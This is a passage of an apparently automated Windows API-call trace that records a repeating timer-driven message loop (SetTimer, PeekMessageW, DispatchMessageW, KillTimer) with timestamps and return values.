uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.183] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.199] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.199] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.199] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.200] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.200] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.214] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.214] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.214] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.214] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.215] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.232] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.232] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.232] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.232] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.232] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.250] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.250] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.250] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.250] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.251] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.268] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.268] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.268] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.268] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.268] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.283] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.283] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.283] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.283] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.283] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.299] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.299] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.299] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.300] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.300] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.314] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.314] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.314] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.314] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.314] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.330] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.330] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.330] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.330] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.330] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.346] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.346] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.346] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.346] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.346] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.363] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.363] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.363] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.364] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.364] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.377] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.377] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.377] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.377] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.377] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.393] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.393] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.393] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.393] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.393] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.408] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.408] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.408] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.408] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.408] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.424] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.424] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.424] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.424] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.424] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.439] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0180.439] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0180.440] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.440] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.440] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0180.455] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.455] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.455] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.455] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.456] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.471] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.471] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.471] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.471] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.471] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.486] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.486] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.486] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.487] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.487] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.502] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0180.502] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0180.502] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.502] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.502] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0180.518] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0180.518] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0180.518] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.518] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.518] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0180.533] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.533] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.533] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.534] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.534] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.560] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.560] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.560] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.560] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.560] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.565] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.565] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.565] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.565] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.565] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.580] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.580] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.580] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.581] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.581] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.596] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.596] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.596] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.596] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.596] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.612] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.612] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.612] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.612] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.612] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.627] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0180.627] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0180.627] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.627] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.627] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0180.693] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.693] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.693] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.693] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.693] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.705] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.705] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.705] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.705] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.705] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.721] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.721] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.721] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.721] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.721] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.736] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.736] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.736] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.736] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.737] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.752] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.752] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.752] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.752] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.752] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.768] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.768] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.768] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.768] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.768] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.783] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.783] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.783] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.783] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.783] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.800] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.800] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.800] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.800] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.800] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.814] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0180.814] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0180.814] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.815] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.815] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0180.830] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.830] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.830] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.830] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.830] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.846] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0180.846] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0180.846] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.846] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.846] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0180.861] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0180.861] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0180.861] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.861] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.862] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0180.877] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.877] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.877] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.877] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.877] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.893] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0180.893] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0180.893] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.893] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.893] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0180.909] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.909] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.909] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.910] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.910] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.931] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0180.931] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0180.931] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.931] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.931] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0180.940] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.940] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.940] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.940] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.940] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.956] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0180.956] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0180.957] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.957] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.957] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0180.971] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0180.971] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0180.971] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.971] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.971] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0180.986] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.986] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.986] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.987] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.987] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.002] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.002] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.002] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.002] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.002] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.018] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.018] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.018] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.018] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.018] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.033] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.033] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.033] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.034] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.034] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.049] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.049] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.049] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.049] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.049] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.064] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0181.064] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0181.065] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.065] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.065] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0181.080] TranslateMessage (lpMsg=0xbdf794) returned 0 [0181.080] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0181.080] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.080] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.080] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0181.096] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0181.096] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0181.096] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0181.096] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0181.096] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 